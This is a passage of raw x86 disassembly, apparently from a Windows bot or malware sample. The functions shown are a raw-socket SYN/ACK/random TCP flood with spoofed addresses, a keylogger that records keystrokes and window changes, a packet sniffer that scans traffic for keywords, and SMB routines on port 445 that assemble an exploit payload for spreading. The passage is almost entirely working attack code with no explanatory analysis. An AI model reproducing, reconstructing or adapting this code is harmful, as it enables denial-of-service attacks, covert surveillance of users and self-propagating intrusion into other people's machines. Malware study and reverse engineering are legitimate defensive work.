edi push eax call sub_417302 pop ecx push 0FFh push 3 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 2610356h nop loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43ADD8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43AD98 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43AD98 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_18], ax call dword_43AD94 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43AD98 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43AD98 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 2620444h lea eax, [ebp+var_114] push 104h push eax nop call near ptr 2620000h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F684 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 nop call near ptr 2610F93h call dword_43AD20 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43AC78 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43AD64 test ah, 80h jz short loc_402529 push 14h call dword_43AC78 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43AC78 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 nop call near ptr 2610356h sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43AD98 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43ADD8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 2610356h loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43AD44 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 2610356h nop loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43ACD4 movzx eax, ax push eax push [ebp+var_C] call dword_43AE24 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43AD2C push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 2610356h sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_436EDC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2630000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_436ED8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43AE38 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43AE38 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_436EDC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2630000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43ACD8 test eax, eax jz short loc_402B7D push 7D0h call near ptr 2610F93h nop jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F674 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea eax, 